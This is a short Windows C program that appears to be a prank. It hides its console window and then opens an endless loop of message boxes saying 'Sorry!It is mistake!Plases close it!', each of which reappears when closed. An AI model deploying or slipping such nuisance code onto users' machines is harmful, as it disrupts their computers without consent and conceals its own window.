#include <windows.h>
#pragma comment (lib, "User32.lib")
void HideWindow() {
        HWND hwnd;
        hwnd=FindWindow("ConsoleWindowClass",NULL);
        if(hwnd) ShowWindow(hwnd,SW_HIDE);
        return;
}
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
        HideWindow();
    while(1){
            MessageBox(NULL, TEXT("Sorry!It is mistake!Plases close it!"), TEXT("消息对话框"), MB_OK);//建立对话框
        }
    return 0;
}